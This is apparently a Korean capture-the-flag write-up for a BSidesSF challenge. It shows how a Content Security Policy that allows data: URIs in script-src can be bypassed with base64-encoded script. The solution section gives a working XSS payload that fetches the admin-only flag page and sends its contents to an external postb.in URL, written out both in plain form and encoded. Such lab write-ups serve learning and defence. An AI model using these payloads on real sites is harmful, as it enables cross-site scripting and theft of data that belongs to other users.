문제 개요

https://csp-1-5aa1f221.challenges.bsidessf.net

input과 submit이 있고, admin으로 /csp-one-flag를 읽으면 되는 간단한 챌린지.


 

문제 상황

개발자도구로 응답 헤더의 CSP제약조건을 확인해본다.

content-security-policy: 
script-src 'self' data:; 
default-src 'self'; 
connect-src *; 
report-uri /csp_report

참고 https://developers.google.com/web/fundamentals/security/csp?hl=ko

 

콘텐츠 보안 정책  |  Web  |  Google Developers

콘텐츠 보안 정책은 최신 브라우저에서 교차 사이트 스크립팅 공격의 위험과 영향을 현저히 줄일 수 있습니다.

developers.google.com

script-src 'self' data:;
script에 대해 'self' 즉 출처가 현재 자신의 페이지인 것과, data:는 허용하겠다.

 

문제의 키 포인트 : data:를 허용하는 것.


 

data: 란?

참고 : https://hyeonseok.com/soojung/webstandards/2011/02/17/641.html

 

데이타 URI 스킴 - 신현석(Hyeonseok Shin)

February 17, 2011 10:13 PM 데이타 URI 스킴(data URI scheme)은 이미지와 같은 외부 데이터를 URI로 표현하는 방법입니다. 데이타 URI 스킴은 RFC 2397에 정의되어 있습니다. 보통 HTML에서 이미지를 표현할 때에는 img 요소의 src 속성의 값으로 이미지의 경로를 입력하지만 데이타 URI 스킴을 사용하면 src 속성의 값으로 base-64로 인코딩된 이미지 데이터를 직접 입력할 수 있습니다. base-64로

hyeonseok.com

data scheme은 외부 데이터를 URI형태로 표현할 수 있는 방식.

이런 파일들을 아래와 같이 base64인코딩하여 페이지 내에서 사용할 수 있다.

data:image/png;base64,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

여기서 중요한 점은 javascript또한  data scheme형식으로 표현이 가능하다는 것.

<script src="data:text/javascript;base64,YWxlcnQoMSk=">1</script>

위 스크립트 코드를 챌린지에 입력하게 되면 alert(1)이 실행되는 것을 볼 수 있다.


 

문제풀이

해당 스크립트가 어드민에게 전달되기 때문에, /csp-one-flag를 접속하고 해당 response를 자신의 서버로 전달하는 스크립트를 짜면 문제를 풀 수 있다.

<script>
  fetch("https://csp-1-5aa1f221.challenges.bsidessf.net/csp-one-flag")
  .then(r => r.text())
  .then(t => fetch("https://postb.in/1582733980565-7314624455757?flag="+t))
</script>

fetch를 이용해서 스크립트를 짜서  postbin으로 전송하는 스크립트이다.

이제 위 스크립트 내용부분을 base64인코딩을 해서 data scheme형식으로 표현한다.

<script src="data:text/javascript;base64,ICBmZXRjaCgiaHR0cHM6Ly9jc3AtMS01YWExZjIyMS5jaGFsbGVuZ2VzLmJzaWRlc3NmLm5ldC9jc3Atb25lLWZsYWciKQogIC50aGVuKHIgPT4gci50ZXh0KCkpCiAgLnRoZW4odCA9PiBmZXRjaCgiaHR0cHM6Ly9wb3N0Yi5pbi8xNTgyNzMzOTgwNTY1LTczMTQ2MjQ0NTU3NTc/ZmxhZz0iK3QpKQ==">1</script>

해당 페이로드를 챌린지에 입력하고 전송하게 되면 postbin으로 flag가 전송된다.

복사했습니다!